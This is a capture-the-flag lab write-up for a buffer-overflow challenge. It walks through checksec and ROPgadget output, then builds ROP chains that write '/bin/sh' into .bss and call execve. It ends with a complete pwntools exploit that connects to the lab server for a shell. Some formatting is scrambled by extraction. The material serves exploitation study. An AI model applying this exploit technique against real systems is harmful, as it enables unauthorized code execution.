Simple PWN - 0x12(Lab - rop++)
tags: CTF PWN eductf
challenge: nc edu-ctf.zoolab.org 10004
Original Code
1 | |
1 | |
Analyze
- Obviously buffer overflow!!!
- Check protector
1
2
3
4
5
6
7$ checksec chal [*] '/home/sbk6401/NTUCS/PWN/Lab/rop++/share/chal' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) - Preliminary idea is using
ROPchain and get shell, but the problem is where can I write/bin/sh\x00? We can usevmmapto observe where section is writable and readable →0x4c5000~0x4c800
1
2
3
4
5$ readelf -S chal ... [25] .bss NOBITS 00000000004c72a0 000c6290 0000000000005980 0000000000000000 WA 0 0 32 ...We can use `.bss` section(`0x4c72a0`) to write parameter
/bin/sh\x00-
Note that
, because
ASLRis enabled, so we cannot write/bin/sh\x00to stack, in addition,PIEis unable, so that we can write and read data from.bsssection with fixed address
-
Note that
Exploit - ROP
- Write
ROPchain inbufparameter1
2$ ROPgadget --binary chal --only "pop|leave|ret|syscall" --multibr > rop_gadget $ vim rop_gadgetpop_rax_ret = 0x447b27 pop_rdi_ret = 0x401e3f pop_rsi_ret = 0x409e6e pop_rdx_rbx_ret = 0x47ed0b syscall_ret = 0x414506 leave_ret = 0x401797 - Construct
ROPchain In order to achieve our idea, we need another read to write/bin/sh\x00to.bsssection1
2
3
4
5
6
7
8ROP_read = flat( # call read function pop_rax_ret, 0, pop_rdi_ret, 0, pop_rsi_ret, 0x4c72a0, pop_rdx_rbx_ret, 0x100, 0, syscall_ret, )Then we need another
ROPchain to callshell1
2
3
4
5
6
7
8
9ROP_shell = flat( # Get shell pop_rax_ret, 0x3b, pop_rdi_ret, 0x4c72a0, pop_rsi_ret, 0, pop_rdx_rbx_ret, 0, 0, syscall_ret, )- Note that
0x4c72a0is the beginning of.bsssection
- Note that
- Send payload
1
2
3binsh = 0x68732f6e69622f #'/bin/sh\x00' r.sendafter("show me rop\n>", b'a'*0x28 + ROP_read + ROP_shell) r.send(flat(binsh)) - Then we get shell and read flag
- Whole exploit ```python from pwn import *
#r = process(‘./chal’) r = remote(‘edu-ctf.zoolab.org’, 10003) raw_input() context.arch = ‘amd64’
pop_rax_ret = 0x447b27 pop_rdi_ret = 0x401e3f pop_rsi_ret = 0x409e6e pop_rdx_rbx_ret = 0x47ed0b syscall_ret = 0x414506 leave_ret = 0x401797
binsh = 0x68732f6e69622f #’/bin/sh\x00’
ROP_read = flat( # call read function pop_rax_ret, 0, pop_rdi_ret, 0, pop_rsi_ret, 0x4c72a0, pop_rdx_rbx_ret, 0x100, 0, syscall_ret,
)ROP_shell = flat( # Get shell pop_rax_ret, 0x3b, pop_rdi_ret, 0x4c72a0, pop_rsi_ret, 0, pop_rdx_rbx_ret, 0, 0, syscall_ret,
)
r.sendafter(“show me rop\n>”, b’a’*0x28 + ROP_read + ROP_shell) r.send(flat(binsh))
r.interactive() ```
Appendix
This payload will call sys_read and read something that we send, that is 0x68732f6e69622f(/bin/sh\x00), and then it’ll call sys_execve.